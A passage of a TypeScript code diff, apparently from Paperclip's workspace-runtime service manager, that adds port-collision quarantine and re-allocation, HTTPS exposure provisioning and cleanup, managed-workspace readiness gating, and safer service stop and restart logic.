+      cwd: serviceCwd,
+      env,
+      detached: process.platform !== "win32",
+      // The service receives duplicate append-only file descriptors. Closing
+      // Paperclip (or this parent handle below) cannot strand a request logger
+      // on an orphaned socketpair during startup reconciliation.
+      stdio: ["ignore", serviceLog.handle.fd, serviceLog.handle.fd],
+    });
+  } finally {
+    await serviceLog.handle.close();
+  }
+  record.child = child;
+  record.providerRef = child.pid ? String(child.pid) : null;
+  record.processGroupId = child.pid ?? null;
+  const spawnErrorPromise = new Promise<never>((_, reject) => {
+    child.once("error", (err) => {
+      reject(err);
+    });
+  });
+  const earlyExitPromise = new Promise<never>((_, reject) => {
+    // `close` follows `exit` after the child's inherited stdout/stderr file
+    // descriptors are closed. Waiting for it makes the startup log excerpt
+    // deterministic instead of racing the final validation line.
+    child.once("close", (code, signal) => {
+      reject(new Error(
+        `service process exited before readiness (code ${code ?? "unknown"}, signal ${signal ?? "none"})`,
+      ));
+    });
+  });
+  const readServiceOutputExcerpt = async () => {
+    try {
+      const contents = await fs.readFile(serviceLog.logPath);
+      return contents.subarray(Math.max(serviceLog.startOffset, contents.length - 4096)).toString("utf8");
+    } catch {
+      return "";
+    }
   };
 
   if (child.pid) {
@@ -4486,7 +6248,7 @@ async function spawnLocalRuntimeService(input: StartLocalRuntimeServiceInput): P
       cwd: serviceCwd,
       envFingerprint: serviceIdentityFingerprint,
       port,
-      url,
+      url: backendUrl,
       pid: child.pid,
       processGroupId: child.pid,
       provider: "local_process",
@@ -4505,27 +6267,233 @@ async function spawnLocalRuntimeService(input: StartLocalRuntimeServiceInput): P
     });
   }
 
+  const ownershipCheckedPorts = port
+    ? exposureConfig
+      ? [
+          port,
+          ...(exposureConfig.includePaperclipViteHmr ? [deriveViteHmrPort(port)] : []),
+        ]
+      : canAllocateFixedPort
+        ? [port]
+        : []
+    : [];
   const readinessPromise = Promise.race([
-    waitForReadiness({ service: input.service, serviceName, command, url, readinessUrl }),
+    Promise.all([
+      waitForRuntimeServiceReadiness({
+        service: input.service,
+        serviceName,
+        command,
+        // An exposed runtime is loopback-only by construction, so its readiness
+        // probe has to target loopback too. The fallback target is the display
+        // URL (a MagicDNS name), which only ever answered because the guest was
+        // wrongly bound to the wildcard (PAP-17256).
+        url: exposureConfig ? rewriteUrlHostToLoopback(backendUrl) : backendUrl,
+        readinessUrl: exposureConfig ? rewriteUrlHostToLoopback(readinessUrl) : readinessUrl,
+      }),
+      ...ownershipCheckedPorts.map((ownedPort) =>
+        waitForAllocatedPortBind({ service: input.service, port: ownedPort, child })
+      ),
+    ]).then(() => undefined),
     spawnErrorPromise,
+    earlyExitPromise,
   ]).then(async () => {
+    releasePortReservation(reservedPort);
+    releasePortReservation(claimedIdentityPort);
+    if (record.exposureConfig && record.exposureHandle && record.port) {
+      const provisioned = await provisionExposure(workspaceRuntimeExposureDeps, {
+        runtimeId: record.id,
+        config: record.exposureConfig,
+        handle: record.exposureHandle,
+        hostname: exposureHostname!,
+        appPort: record.port,
+      });
+      record.exposure = provisioned.status;
+      record.exposureHandle = provisioned.handle;
+      record.url = provisioned.status.publicUrl;
+      await persistRuntimeServiceRecord(record.db, record);
+      if (provisioned.status.state !== "ready" || !record.url) {
+        // Carry the reason, not just the code: a bare `listener_ownership_mismatch`
+        // in the operation log is what made PAP-17254 undiagnosable (PAP-17256).
+        const code = provisioned.status.lastError ?? "unknown error";
+        throw new Error(
+          `HTTPS exposure failed: ${code}${provisioned.errorDetail ? ` — ${provisioned.errorDetail}` : ""}`,
+        );
+      }
+    }
+    // Transport readiness only proves a listener answered. A managed workspace
+    // must additionally satisfy the protected readiness contract — own database,
+    // cloned rows, login handoff, and matching instance/workspace identity —
+    // before it may be published as running/healthy (PAP-17572).
+    if (managedWorkspaceIdentity) {
+      const publishHealthUrl = resolveRuntimeServiceHealthUrl(
+        record.port ? `http://127.0.0.1:${record.port}` : rewriteUrlHostToLoopback(record.url ?? backendUrl),
+        { serviceName, command },
+      );
+      if (!publishHealthUrl) {
+        throw new Error("Managed workspace readiness gate could not resolve a health URL");
+      }
+      let gate = await waitForManagedWorkspaceReadiness({
+        healthUrl: publishHealthUrl,
+        identity: managedWorkspaceIdentity,
+      });
+      if (gate.ok) {
+        if (!record.db) {
+          throw new Error("Managed workspace readiness gate could not resolve the control-plane database");
+        }
+        gate = await probeManagedWorkspaceHandoffSubjects({
+          db: record.db,
+          healthUrl: publishHealthUrl,
+          identity: managedWorkspaceIdentity,
+        });
+      }
+      if (!gate.ok) {
+        logManagedWorkspaceReadinessRejection({
+          executionWorkspaceId: managedWorkspaceIdentity.executionWorkspaceId,
+          healthUrl: publishHealthUrl,
+          result: gate,
+        });
+        if (shouldBlockPublicationOnReadiness(gate)) {
+          throw new Error(
+            `Workspace is not ready to publish (${gate.reason}${gate.detail ? `: ${gate.detail}` : ""})`,
+          );
+        }
+      }
+    }
     record.status = "running";
     record.healthStatus = "healthy";
     record.lastUsedAt = new Date().toISOString();
     record.stoppedAt = null;
+    const serviceOutputExcerpt = await readServiceOutputExcerpt();
+    if (serviceOutputExcerpt && input.onLog) {
+      await input.onLog("stdout", `[service:${serviceName}] ${serviceOutputExcerpt}`);
+    }
     await touchLocalServiceRegistryRecord(record.serviceKey, {
       runtimeServiceId: record.id,
       lastSeenAt: record.lastUsedAt,
     });
   }).catch(async (err) => {
-    terminateChildProcess(child);
+    releasePortReservation(reservedPort);
+    releasePortReservation(claimedIdentityPort);
+    const failureMessage = err instanceof Error ? err.message : String(err);
+    const serviceOutputExcerpt = await readServiceOutputExcerpt();
+    const bindCollision = !exposureConfig && (
+      err instanceof RuntimeServicePortBindCollision || Boolean(
+        port
+        && (input.allowFixedPortFallback || portType === "auto")
+        && /(?:EADDRINUSE|address already in use)/i.test(`${failureMessage}\n${serviceOutputExcerpt}`),
+      )
+    );
+    // An exposed guest that exits with EADDRINUSE on its ASSIGNED port lost the
+    // port after allocation. Only the assigned app or HMR port is re-allocatable
+    // from the dedicated broker range, so quarantine and re-allocation apply only
+    // when the failure names one of those ports. An unrelated auxiliary-port
+    // conflict (a different port the guest also bound) leaves the valid pair
+    // intact and surfaces as a terminal error, not a quarantine that burns the
+    // bounded retries.
+    const exposureAssignedPorts: number[] =
+      exposureConfig && port
+        ? [port, ...(exposureConfig.includePaperclipViteHmr ? [deriveViteHmrPort(port)] : [])]
+        : [];
+    const collisionText = `${failureMessage}\n${serviceOutputExcerpt}`;
+    const exposureNamedPorts = exposureAssignedPorts.filter((candidate) =>
+      eaddrinuseTextNamesPort(collisionText, candidate),
+    );
+    // The guest owns its own output, so an assigned-port EADDRINUSE line is a
+    // claim, not proof. A managed guest can print a synthetic EADDRINUSE line for
+    // its assigned port with no host listener behind it. A quarantine on that text
+    // alone would burn the shared exposure-port pool across repeated starts. So the
+    // runtime reads live host listener state and quarantines only after it confirms
+    // that a real host listener owns the port.
+    const exposureTextNamesAssignedPort = Boolean(
+      exposureConfig && port && exposureNamedPorts.length > 0,
+    );
+    let exposureCollisionDiagnosis: string | null = null;
+    let exposureHostCollision = false;
+    if (exposureTextNamesAssignedPort) {
+      const facts: string[] = [];
+      const hostStates: ExposurePortHostState[] = [];
+      for (const collisionPort of exposureAssignedPorts) {
+        // `readLocalServicePortOwner` reads lsof and returns the listener pid, so a
+        // non-null pid also proves a present listener. `readListenerBindFacts` reads
+        // /proc for the same presence signal and the bound addresses.
+        const ownerPid = await readLocalServicePortOwner(collisionPort).catch(() => null);
+        const bind = await readListenerBindFacts(collisionPort).catch(() => null);
+        // Read the owner process group id too. The guest runs as a shell process
+        // group leader, so the real dev server usually binds the port from a
+        // descendant. The classify step matches the shell pid against the owner pgid
+        // to keep a guest descendant from looking like an external owner.
+        const ownerProcessGroupId =
+          ownerPid != null ? await readLocalServiceProcessGroupId(ownerPid).catch(() => null) : null;
+        hostStates.push({
+          port: collisionPort,
+          named: exposureNamedPorts.includes(collisionPort),
+          listenerPresent: Boolean(bind?.present) || ownerPid != null,
+          ownerPid,
+          ownerProcessGroupId,
+        });
+        const boundTo = bind?.present ? bind.addresses.join(", ") : "no listener";
+        facts.push(`port ${collisionPort} bound to ${boundTo}, owner pid ${ownerPid ?? "none"}`);
+      }
+      exposureHostCollision = classifyExposureHostCollisions({
+        childPid: child.pid ?? null,
+        ports: hostStates,
+      }).hostCollision;
+      exposureCollisionDiagnosis = facts.join("; ");
+    }
+    // Quarantine the whole assigned pair, not only the named port. The broker
+    // allocates the app and HMR ports as one unit, so a re-allocation must skip
+    // both to land on the next free pair.
+    const exposureCollisionPorts: number[] = exposureHostCollision ? exposureAssignedPorts : [];
+    if (child.pid) {
+      await terminateLocalService({
+        pid: child.pid,
+        processGroupId: child.pid,
+        port,
+      });
+    }
+    await cleanupRecordExposure(record, { preserveFailure: true });
     record.status = "stopped";
     record.healthStatus = "unhealthy";
     record.lastUsedAt = new Date().toISOString();
     record.stoppedAt = new Date().toISOString();
     await removeLocalServiceRegistryRecord(record.serviceKey).catch(() => undefined);
+    if (exposureConfig) {
+      await persistRuntimeServiceRecord(record.db, record).catch(() => undefined);
+    }
+    if (bindCollision && port) throw new RuntimeServicePortBindCollision(port);
+    if (exposureHostCollision && port) {
+      // A verified host listener holds the assigned exposure port. Quarantine the
+      // pair so the bounded re-allocation never re-offers it, then throw a retryable
+      // collision. `startLocalRuntimeService` re-runs allocation, which skips the
+      // quarantined pair and takes the next free pair inside the dedicated range.
+      // This hardens a real host that races an external process for a range port.
+      for (const collisionPort of exposureCollisionPorts) {
+        quarantinedRuntimeExposurePorts.add(collisionPort);
+      }
+      if (input.onLog) {
+        await input.onLog(
+          "stderr",
+          `[service:${serviceName}] exposure port ${port} collided during startup (EADDRINUSE); `
+            + `${exposureCollisionDiagnosis ?? "owner unavailable"}. `
+            + `Quarantined pair ${exposureCollisionPorts.join("/")} and reallocating.\n`,
+        ).catch(() => undefined);
+      }
+      throw new RuntimeServicePortBindCollision(port, exposureCollisionDiagnosis, true);
+    }
+    const deploymentBindConflict = /local_trusted requires server\.bind=loopback/i.test(
+      `${failureMessage}\n${serviceOutputExcerpt}`,
+    );
+    // The guest reported an assigned-port EADDRINUSE, but no host listener owned
+    // the port. Explain that the runtime did not quarantine the pair, so a future
+    // occurrence needs no diagnostic cycle and the pool stays intact.
+    const unverifiedExposureCollision = exposureTextNamesAssignedPort && !exposureHostCollision;
+    const actionableFailure = deploymentBindConflict
+      ? `${failureMessage} | deployment/bind conflict: local_trusted requires server.bind=loopback; the managed runtime requested an incompatible bind mode`
+      : unverifiedExposureCollision
+        ? `${failureMessage} | exposure port collision not verified: the guest reported EADDRINUSE on assigned port ${exposureNamedPorts.join("/")}, but no host listener owns it (${exposureCollisionDiagnosis ?? "owner unavailable"}); the runtime did not quarantine the pair`
+        : failureMessage;
     throw new Error(
-      `Failed to start runtime service "${serviceName}": ${err instanceof Error ? err.message : String(err)}${stderrExcerpt ? ` | stderr: ${stderrExcerpt.trim()}` : ""}`,
+      `Failed to start runtime service "${serviceName}": ${actionableFailure}${serviceOutputExcerpt ? ` | output: ${serviceOutputExcerpt.trim()}` : ""}`,
     );
   });
 
@@ -4595,24 +6563,62 @@ async function startLocalRuntimeService(
     ? await prepareRuntimeProvisioning(input)
     : input.preparedProvisioningRecord;
   let started: LocalRuntimeServiceStart | null = null;
+  const excludedPorts = new Set(input.excludedPorts ?? []);
+  const portConfig = parseObject(input.service.port);
+  const portType = asString(portConfig.type, "");
+  const explicitPort = asNumber(portConfig.value, asNumber(input.service.port, 0));
+  const fixedPortFallbackEnabled = Boolean(
+    input.allowFixedPortFallback && portType !== "auto" && explicitPort > 0,
+  );
+  const retryBindCollisions = fixedPortFallbackEnabled || portType === "auto";
+  const deferReadiness = Boolean(options?.deferReadiness);
 
   try {
-    started = await spawnLocalRuntimeService({
-      ...input,
-      runtimeServiceId: provisioningRecord?.id ?? input.runtimeServiceId,
+    for (let attempt = 0; attempt < WORKSPACE_RUNTIME_PORT_ALLOCATION_ATTEMPTS; attempt += 1) {
+      try {
+        started = await spawnLocalRuntimeService({
+          ...input,
+          excludedPorts,
+          runtimeServiceId: provisioningRecord?.id ?? input.runtimeServiceId,
+        });
+        if (runtimeProvisionCommand) {
+          await persistRuntimeServiceRecord(input.db, started.record);
+        }
+        if (provisioningRecord && started.record.id !== provisioningRecord.id && input.db) {
+          await input.db
+            .delete(workspaceRuntimeServices)
+            .where(eq(workspaceRuntimeServices.id, provisioningRecord.id));
+        }
+        if (!deferReadiness) {
+          await started.readiness;
+        }
+        return started;
+      } catch (error) {
+        if (
+          !(error instanceof RuntimeServicePortBindCollision)
+          || !(retryBindCollisions || error.exposureReallocatable)
+        ) {
+          throw error;
+        }
+        excludedPorts.add(error.port);
+        started = null;
+      }
+    }
+
+    if (fixedPortFallbackEnabled && input.executionWorkspaceId) {
+      throw await buildRuntimePortAllocationConflict({
+        db: input.db,
+        companyId: input.agent.companyId,
+        executionWorkspaceId: input.executionWorkspaceId,
+        preferredPort: explicitPort,
+        attemptedPorts: [...excludedPorts],
+      });
+    }
+    throw conflict("No safe automatically allocated runtime service port is available.", {
+      code: "workspace_runtime_port_allocation_exhausted",
+      attemptedPortCount: excludedPorts.size,
+      remediation: "Retry the start or configure a different runtime service port.",
     });
-    if (runtimeProvisionCommand) {
-      await persistRuntimeServiceRecord(input.db, started.record);
-    }
-    if (provisioningRecord && started.record.id !== provisioningRecord.id && input.db) {
-      await input.db
-        .delete(workspaceRuntimeServices)
-        .where(eq(workspaceRuntimeServices.id, provisioningRecord.id));
-    }
-    if (!options?.deferReadiness) {
-      await started.readiness;
-    }
-    return started;
   } catch (error) {
     if (!started && provisioningRecord && provisioningRecord.status === "starting") {
       const nowIso = new Date().toISOString();
@@ -4636,10 +6642,67 @@ function scheduleIdleStop(record: RuntimeServiceRecord) {
   }, idleSeconds * 1000);
 }
 
+async function cleanupRecordExposure(
+  record: RuntimeServiceRecord,
+  options?: { preserveFailure?: boolean },
+) {
+  if (!record.exposure) return;
+  const previous = record.exposure;
+  const ports = previous.listeners.map((listener) => listener.targetPort);
+  const result = await deprovisionExposure(workspaceRuntimeExposureDeps, {
+    runtimeId: record.id,
+    handle: record.exposureHandle,
+    ports,
+  });
+  for (const port of result.quarantinedPorts) quarantinedRuntimeExposurePorts.add(port);
+  // Drop the in-process pair claim on teardown. The *lease* reservation is what
+  // still protects the pair from another workspace (PAP-17419) — this only
+  // releases the short-lived hold that keeps concurrent allocators apart, and
+  // keeping it would block this very lane's own restart.
+  if (record.port !== null && isRuntimeExposureAppPort(record.port)) {
+    exposurePortPairClaims.release({ appPort: record.port, hmrPort: deriveViteHmrPort(record.port) });
+  }
+  if (result.status.state === "removed") {
+    record.exposureHandle = null;
+    record.exposure = options?.preserveFailure && previous.state === "failed"
+      ? { ...previous, publicUrl: null, updatedAt: new Date().toISOString() }
+      : { ...previous, state: "removed", publicUrl: null, lastError: null, updatedAt: new Date().toISOString() };
+  } else {
+    record.exposure = {
+      ...previous,
+      state: "cleanup_pending",
+      publicUrl: null,
+      lastError: result.status.lastError,
+      updatedAt: new Date().toISOString(),
+    };
+  }
+  record.url = null;
+  await persistRuntimeServiceRecord(record.db, record).catch(() => undefined);
+}
+
 async function stopRuntimeService(serviceId: string) {
   const record = runtimeServicesById.get(serviceId);
   if (!record) return;
   clearIdleTimer(record);
+  // Remove any public exposure first, but keep the process registered and the
+  // row non-stopped until verified termination succeeds.
+  await cleanupRecordExposure(record);
+  if (record.child && record.child.pid) {
+    await terminateLocalService({
+      pid: record.child.pid,
+      processGroupId: record.processGroupId ?? record.child.pid,
+      port: record.port,
+    });
+  } else if (record.providerRef) {
+    const pid = Number.parseInt(record.providerRef, 10);
+    if (Number.isInteger(pid) && pid > 0) {
+      await terminateLocalService({
+        pid,
+        processGroupId: record.processGroupId,
+        port: record.port,
+      });
+    }
+  }
   record.status = "stopped";
   record.healthStatus = "unknown";
   record.lastUsedAt = new Date().toISOString();
@@ -4648,29 +6711,87 @@ async function stopRuntimeService(serviceId: string) {
   if (record.reuseKey && runtimeServicesByReuseKey.get(record.reuseKey) === record.id) {
     runtimeServicesByReuseKey.delete(record.reuseKey);
   }
-  if (record.child && record.child.pid) {
-    await terminateLocalService({
-      pid: record.child.pid,
-      processGroupId: record.processGroupId ?? record.child.pid,
-    });
-  } else if (record.providerRef) {
-    const pid = Number.parseInt(record.providerRef, 10);
-    if (Number.isInteger(pid) && pid > 0) {
-      await terminateLocalService({
-        pid,
-        processGroupId: record.processGroupId,
-      });
-    }
-  }
   await removeLocalServiceRegistryRecord(record.serviceKey);
   await persistRuntimeServiceRecord(record.db, record);
 }
 
+async function findHealthyRunningRuntimeService(reuseKey: string | null) {
+  const existingId = reuseKey ? runtimeServicesByReuseKey.get(reuseKey) : null;
+  const existing = existingId ? runtimeServicesById.get(existingId) : null;
+  if (!existing || existing.status !== "running") return null;
+  const healthInput = {
+    db: existing.db,
+    serviceName: existing.serviceName,
+    command: existing.command,
+    provider: existing.provider,
+    port: existing.port,
+    cwd: existing.cwd,
+    executionWorkspaceId: existing.executionWorkspaceId,
+    companyId: existing.companyId,
+  };
+  let healthy = await isRuntimeServiceUrlHealthy(existing.url, healthInput);
+  if (!healthy) {
+    // A single timeout or connection reset is not enough evidence to destroy a
+    // shared runtime that active runs may still use. Confirm the failure after
+    // a short bounded delay before entering the destructive replacement path.
+    await delay(250);
+    healthy = await isRuntimeServiceUrlHealthy(existing.url, healthInput);
+  }
+  if (healthy) return existing;
+  if (existing.leaseRunIds.size > 0) {
+    existing.healthStatus = "unhealthy";
+    if (reuseKey && runtimeServicesByReuseKey.get(reuseKey) === existing.id) {
+      runtimeServicesByReuseKey.delete(reuseKey);
+    }
+    await persistRuntimeServiceRecord(existing.db, existing);
+    return null;
+  }
+  await stopRuntimeService(existing.id);
+  return null;
+}
+
 async function markPersistedRuntimeServicesStoppedForExecutionWorkspace(input: {
   db: Db;
   executionWorkspaceId: string;
 }) {
   const now = new Date();
+  const exposureRows = await input.db
+    .select({
+      id: workspaceRuntimeServices.id,
+      exposure: workspaceRuntimeServices.exposure,
+      exposureHandle: workspaceRuntimeServices.exposureHandle,
+    })
+    .from(workspaceRuntimeServices)
+    .where(
+      and(
+        eq(workspaceRuntimeServices.executionWorkspaceId, input.executionWorkspaceId),
+        inArray(workspaceRuntimeServices.status, ["provisioning", "starting", "running"]),
+      ),
+    );
+  for (const row of exposureRows) {
+    if (!row.exposure) continue;
+    const cleanup = await deprovisionExposure(workspaceRuntimeExposureDeps, {
+      runtimeId: row.id,
+      handle: row.exposureHandle,
+      ports: row.exposure.listeners.map((listener) => listener.targetPort),
+    });
+    for (const port of cleanup.quarantinedPorts) quarantinedRuntimeExposurePorts.add(port);
+    const exposure: RuntimeExposureStatus = {
+      ...row.exposure,
+      state: cleanup.status.state,
+      publicUrl: null,
+      lastError: cleanup.status.lastError,
+      updatedAt: now.toISOString(),
+    };
+    await input.db
+      .update(workspaceRuntimeServices)
+      .set({
+        exposure,
+        exposureHandle: cleanup.status.state === "removed" ? null : row.exposureHandle,
+        url: null,
+      })
+      .where(eq(workspaceRuntimeServices.id, row.id));
+  }
   await input.db
     .update(workspaceRuntimeServices)
     .set({
@@ -4688,6 +6809,133 @@ async function markPersistedRuntimeServicesStoppedForExecutionWorkspace(input: {
     );
 }
 
+/**
+ * Corroboration for a reclamation driven by persisted rows rather than by a live
+ * operation (PAP-17285).
+ *
+ * `ownedListeners` is the broker's own current ownership view (`broker.list()`),
+ * or `null` when the broker could not be reached. Passing it switches
+ * `cleanupPersistedExposureRows` from "trust the row" to "trust the broker",
+ * which is the difference between reclaiming what is actually published and
+ * issuing removals from stale bookkeeping. Targeted stop paths omit it and keep
+ * their existing behaviour, because there the caller named the runtime.
+ */
+interface ExposureReclaimCorroboration {
+  ownedListeners: Array<{ runtimeId: string; port: number }> | null;
+}
+
+export type StaleExposureReclaimDecision =
+  /** Broker unreachable: prove nothing, mutate nothing, surface cleanup_pending. */
+  | { action: "defer"; reason: "broker_unreachable" }
+  /** Broker owns nothing for this runtime: clear local bookkeeping, no Serve op. */
+  | { action: "clear_bookkeeping"; reason: "not_owned_by_broker" }
+  /** Broker still publishes this runtime's mapping: reclaiming it is correct. */
+  | { action: "reclaim"; reason: "owned_by_broker" };
+
+/**
+ * Decide what a persisted-row-driven reclamation may do, given the broker's live
+ * ownership view (PAP-17285).
+ *
+ * Extracted as a pure function because it is the entire safety contract for the
+ * global startup sweep, and the sweep itself needs a database. Every branch is
+ * asserted by reason code in `workspace-runtime-exposure-backfill.test.ts`.
+ */
+export function decideStaleExposureReclaim(input: {
+  runtimeId: string;
+  ownedListeners: Array<{ runtimeId: string; port: number }> | null;
+}): StaleExposureReclaimDecision {
+  if (input.ownedListeners === null) {
+    return { action: "defer", reason: "broker_unreachable" };
+  }
+  const owned = input.ownedListeners.some((listener) => listener.runtimeId === input.runtimeId);
+  return owned
+    ? { action: "reclaim", reason: "owned_by_broker" }
+    : { action: "clear_bookkeeping", reason: "not_owned_by_broker" };
+}
+
+async function cleanupPersistedExposureRows(
+  db: Db,
+  rows: Array<{
+    id: string;
+    exposure: RuntimeExposureStatus | null;
+    exposureHandle: string | null;
+  }>,
+  corroboration?: ExposureReclaimCorroboration,
+) {
+  for (const row of rows) {
+    if (!row.exposure) continue;
+
+    if (corroboration) {
+      // Fail closed toward PRESERVATION. A stale row is not evidence that a
+      // mapping is ours to delete: rows outlive the lanes that created them, get
+      // duplicated as ports are recycled, and can be days old. Reclaiming on that
+      // basis alone is what destroyed the `42000/52000` mappings.
+      const decision = decideStaleExposureReclaim({
+        runtimeId: row.id,
+        ownedListeners: corroboration.ownedListeners,
+      });
+      if (decision.action === "defer") {
+        // Broker unreachable — we cannot prove anything. Never guess; surface it.
+        await db
+          .update(workspaceRuntimeServices)
+          .set({
+            exposure: {
+              ...row.exposure,
+              state: "cleanup_pending",
+              publicUrl: null,
+              lastError: decision.reason,
+              updatedAt: new Date().toISOString(),
+            },
+          })
+          .where(eq(workspaceRuntimeServices.id, row.id));
+        continue;
+      }
+      if (decision.action === "clear_bookkeeping") {
+        // The broker attributes nothing to this runtime, so there is nothing of
+        // ours published. This is stale local bookkeeping: clear it WITHOUT
+        // issuing any Serve mutation. `exposure.listeners` is retained so the
+        // historical mapping stays inspectable and restorable.
+        await db
+          .update(workspaceRuntimeServices)
+          .set({
+            url: null,
+            exposure: {
+              ...row.exposure,
+              state: "removed",
+              publicUrl: null,
+              lastError: null,
+              updatedAt: new Date().toISOString(),
+            },
+            exposureHandle: null,
+          })
+          .where(eq(workspaceRuntimeServices.id, row.id));
+        continue;
+      }
+    }
+
+    const cleanup = await deprovisionExposure(workspaceRuntimeExposureDeps, {
+      runtimeId: row.id,
+      handle: row.exposureHandle,
+      ports: row.exposure.listeners.map((listener) => listener.targetPort),
+    });
+    for (const port of cleanup.quarantinedPorts) quarantinedRuntimeExposurePorts.add(port);
+    await db
+      .update(workspaceRuntimeServices)
+      .set({
+        url: null,
+        exposure: {
+          ...row.exposure,
+          state: cleanup.status.state,
+          publicUrl: null,
+          lastError: cleanup.status.lastError,
+          updatedAt: new Date().toISOString(),
+        },
+        exposureHandle: cleanup.status.state === "removed" ? null : row.exposureHandle,
+      })
+      .where(eq(workspaceRuntimeServices.id, row.id));
+  }
+}
+
 function registerRuntimeService(db: Db | undefined, record: RuntimeServiceRecord) {
   record.db = db;
   runtimeServicesById.set(record.id, record);
@@ -4707,8 +6955,24 @@ function registerRuntimeService(db: Db | undefined, record: RuntimeServiceRecord
     if (current.reuseKey && runtimeServicesByReuseKey.get(current.reuseKey) === current.id) {
       runtimeServicesByReuseKey.delete(current.reuseKey);
     }
-    void removeLocalServiceRegistryRecord(current.serviceKey);
-    void persistRuntimeServiceRecord(db, current);
+    void (async () => {
+      // The child exited on its own. Record the terminal status as best effort.
+      // The persist can fail when a parent row is already gone: a caller can
+      // delete the project or the company while this service still runs, and the
+      // `project_id` foreign key then rejects the write. Catch every error here,
+      // or the detached persist becomes an unhandled rejection and crashes the
+      // host. This path runs off the child `exit` event, so no caller awaits it.
+      try {
+        await cleanupRecordExposure(current);
+        await removeLocalServiceRegistryRecord(current.serviceKey);
+        await persistRuntimeServiceRecord(db, current);
+      } catch (err) {
+        const detail = err instanceof Error ? err.message : String(err);
+        console.warn(
+          `[workspace-runtime] runtime service exit cleanup failed for ${current.id}: ${detail}`,
+        );
+      }
+    })();
   });
 }
 
@@ -4802,7 +7066,27 @@ function selectRuntimeServiceEntries(input: {
   });
 }
 
-export async function ensureRuntimeServicesForRun(input: {
+async function isPersistedIsolatedExecutionWorkspace(input: {
+  db?: Db;
+  companyId: string;
+  executionWorkspaceId?: string | null;
+}) {
+  if (!input.db || !input.executionWorkspaceId) return false;
+  const row = await input.db
+    .select({ mode: executionWorkspaces.mode })
+    .from(executionWorkspaces)
+    .where(
+      and(
+        eq(executionWorkspaces.id, input.executionWorkspaceId),
+        eq(executionWorkspaces.companyId, input.companyId),
+      ),
+    )
+    .limit(1)
+    .then((rows) => rows[0] ?? null);
+  return row?.mode === "isolated_workspace";
+}
+
+type EnsureRuntimeServicesForRunInput = {
   db?: Db;
   runId: string;
   agent: ExecutionWorkspaceAgentRef;
@@ -4813,7 +7097,11 @@ export async function ensureRuntimeServicesForRun(input: {
   adapterEnv: Record<string, string>;
   onLog?: (stream: "stdout" | "stderr", chunk: string) => Promise<void>;
   recorder?: WorkspaceOperationRecorder | null;
-}): Promise<RuntimeServiceRef[]> {
+};
+
+async function ensureRuntimeServicesForRunInvocation(
+  input: EnsureRuntimeServicesForRunInput,
+): Promise<RuntimeServiceRef[]> {
   const rawServices = selectRuntimeServiceEntries({
     config: input.config,
     respectDesiredStates: true,
@@ -4822,8 +7110,14 @@ export async function ensureRuntimeServicesForRun(input: {
   });
   const acquiredServiceIds: string[] = [];
   const refs: RuntimeServiceRef[] = [];
-  const runtimeProvisionCommand = resolveRuntimeProvisionCommand(input);
+  const runtimeProvision = resolveRuntimeProvision(input);
+  const runtimeProvisionCommand = runtimeProvision.command;
   const provisionCoordinator = createRuntimeProvisionCoordinator();
+  const allowFixedPortFallback = await isPersistedIsolatedExecutionWorkspace({
+    db: input.db,
+    companyId: input.agent.companyId,
+    executionWorkspaceId: input.executionWorkspaceId,
+  });
   runtimeServiceLeasesByRun.set(input.runId, acquiredServiceIds);
 
   try {
@@ -4847,9 +7141,8 @@ export async function ensureRuntimeServicesForRun(input: {
       }).reuseKey;
 
       if (reuseKey) {
-        const existingId = runtimeServicesByReuseKey.get(reuseKey);
-        const existing = existingId ? runtimeServicesById.get(existingId) : null;
-        if (existing && existing.status === "running") {
+        const existing = await findHealthyRunningRuntimeService(reuseKey);
+        if (existing) {
           existing.leaseRunIds.add(input.runId);
           existing.lastUsedAt = new Date().toISOString();
           existing.stoppedAt = null;
@@ -4876,8 +7169,10 @@ export async function ensureRuntimeServicesForRun(input: {
         service,
         onLog: input.onLog,
         runtimeProvisionCommand,
+        runtimeProvisionKind: runtimeProvision.kind,
         recorder: input.recorder,
         provisionCoordinator,
+        allowFixedPortFallback,
         reuseKey,
         scopeType,
         scopeId,
@@ -4896,6 +7191,124 @@ export async function ensureRuntimeServicesForRun(input: {
   return refs;
 }
 
+async function withRuntimeStartMutex<T>(ownerKey: string, start: () => Promise<T>): Promise<T> {
+  const previous = runtimeControlStartByOwner.get(ownerKey) ?? Promise.resolve();
+  let release!: () => void;
+  const current = new Promise<void>((resolve) => {
+    release = resolve;
+  });
+  const queued = previous.then(() => current);
+  runtimeControlStartByOwner.set(ownerKey, queued);
+  await previous;
+  try {
+    return await start();
+  } finally {
+    release();
+    if (runtimeControlStartByOwner.get(ownerKey) === queued) runtimeControlStartByOwner.delete(ownerKey);
+  }
+}
+
+function resolveRuntimeStartMutexPlan(input: {
+  services: Array<Record<string, unknown>>;
+  workspace: RealizedExecutionWorkspace;
+  executionWorkspaceId?: string | null;
+  issue: ExecutionWorkspaceIssueRef | null;
+  runId: string;
+  agent: ExecutionWorkspaceAgentRef;
+  adapterEnv: Record<string, string>;
+}) {
+  const fallbackOwnerId = input.executionWorkspaceId
+    ?? input.workspace.workspaceId
+    ?? path.resolve(input.workspace.cwd);
+  const replacementReuseKeys: string[] = [];
+  const keys = input.services.map((service) => {
+    const { scopeType, scopeId } = resolveServiceScopeId({
+      service,
+      workspace: input.workspace,
+      executionWorkspaceId: input.executionWorkspaceId,
+      issue: input.issue,
+      runId: input.runId,
+      agent: input.agent,
+    });
+    const reuseKey = resolveRuntimeServiceReuseIdentity({
+      service,
+      workspace: input.workspace,
+      agent: input.agent,
+      issue: input.issue,
+      adapterEnv: input.adapterEnv,
+      scopeType,
+      scopeId,
+    }).reuseKey;
+    // Converge all callers that can replace an existing shared runtime on its
+    // reuse identity. For an initial start, retain owner-level concurrency so
+    // the exposure allocator's in-flight pair claims remain authoritative.
+    if (
+      reuseKey
+      && (runtimeServicesByReuseKey.has(reuseKey) || runtimeReplacementClaimsByReuseKey.has(reuseKey))
+    ) {
+      runtimeReplacementClaimsByReuseKey.set(
+        reuseKey,
+        (runtimeReplacementClaimsByReuseKey.get(reuseKey) ?? 0) + 1,
+      );
+      replacementReuseKeys.push(reuseKey);
+      return `reuse:${reuseKey}`;
+    }
+    return `${input.agent.companyId}:owner:${fallbackOwnerId}`;
+  });
+  return {
+    ownerKeys: [...new Set(keys)].sort(),
+    replacementReuseKeys,
+  };
+}
+
+function releaseRuntimeReplacementClaims(reuseKeys: string[]) {
+  for (const reuseKey of reuseKeys) {
+    const next = (runtimeReplacementClaimsByReuseKey.get(reuseKey) ?? 1) - 1;
+    if (next <= 0) runtimeReplacementClaimsByReuseKey.delete(reuseKey);
